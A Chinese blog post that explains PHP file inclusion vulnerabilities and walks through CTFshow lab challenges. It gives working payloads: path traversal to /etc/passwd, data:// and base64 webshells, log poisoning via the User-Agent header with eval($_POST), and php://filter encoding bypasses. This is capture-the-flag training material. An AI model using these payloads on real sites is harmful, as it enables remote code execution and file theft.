文件包含&&靶场实现

发布于:2025-05-21 ⋅ 阅读:(14) ⋅ 点赞:(0)

         文件包含漏洞(File Inclusion Vulnerability)是 Web 安全中常见的高危漏洞,主要分为 本地文件包含(LFI)远程文件包含(RFI)

1、典型利用方式

利用方式 示例 Payload 说明
路径遍历 ?page=../../../etc/passwd 读取系统敏感文件
空字节截断 ?page=../../etc/passwd%00 截断后缀(PHP <5.3.4有效)
日志文件注入 ?page=/var/log/apache2/access.log 通过 User-Agent 注入 PHP 代码并包含日志文件
PHP 伪协议 ?page=php://filter/convert.base64-encode/resource=index.php 读取 PHP 源码(Base64 编码)
Session 文件包含 ?page=/tmp/sess_[session_id] 利用 Session 文件注入代码

 2、CTFshow靶场演习

web78

代码无过滤,使用data伪协议查看文件,然后输出文件
    ?file=data://text/plain,<?php system("ls")?>
    ?file=data://text/plain,<?php system("tac flag.php")?> 

web79

本题将php替换???
三种方法
1、<?= ?>用于输出,等同于- <?php echo ; ?>可以直接使用
?file=data://text/plain,<?=system('ls') ?>
得到文件
?file=data://text/plain,<?=system("tac flag.*")?>
使用*模糊查找
得到flag

2、base64
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= #<?php system("ls")?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs= #<?php system("tac flag.php");
得到flag

3、post请求
?file=data://text/plain,<?=eval($_POST[a]);?>
a=system("ls");
a=system("tac flag.php");
得到flag

web80

 本题php,data过滤
日志文件包含
?file=../../../../var/log/nginx/access.log
在UA头改为  <?php eval($_POST[a]); ?>
post请求    a=system("ls");
                        a=system("tac fl0g.php");
有时候没有第一时间回显需要多发送几次

可以用hackbar执行

也可以用BP执行

web81

本题php,data,:已过滤
不耽误用日志
跟上题一样
?file=../../../../var/log/nginx/access.log
ua  <?php eval($_POST[a]); ?>
post  a=system("ls");
      a=system("tac fl0g.php");
      得到flag

web87

本题php data : .已过滤,这题有file和content两个传参,而且还将输入进行了一次url解码
php://filter/write=convert.base64-encode/resource=1.php进行url逐字符编码两次
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,
所以最终被解码的字符仅有“phpdie”和我们传入的其他字符phpdie是六个字符所以需要加上aa
因为base64算法解码时是4个byte一组,所以给他增加2个“a”一共8个字符。
这样,"phpdieaa"被正常解码,而后面我们传入的webshell的base64内容也被正常解码
content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
#<?php @eval($_POST[1]);?>
接着执行post请求得到flag
    a=system("ls");
    a=system("tac fl0g.php");

web88

题目中过滤php和一堆字符,而且设定不区分大小写
使用data协议,base64后的编码不能有/php|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\./i"这些
一个字母通常有=,传入参数多加几个字母base后得通常没有过滤字符
data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz5j #<?php @eval($_POST['ccc']);?>c
ccc=system("ls");
ccc=system("tac fl0g.php");
得到flag 

web116

下载视频用binwalk查看文件内容,看到里面有一个png文件分离一下
sudo binwalk -e '/root/Desktop/w5P98-tV.mp4' -D 'png:png' --run-as=root
分离出代码如下

 

由代码得知存在文件包含
访问?file=flag.php
得到flag

web117

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php
把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:
post传入:contents=?<hp pe@av(l_$EG[T]1;)>?
/hack.php?1=system('ls');
/hack.php?1=system('tac flag.php');
得到flag


网站公告

今日签到

点亮在社区的每一天
去签到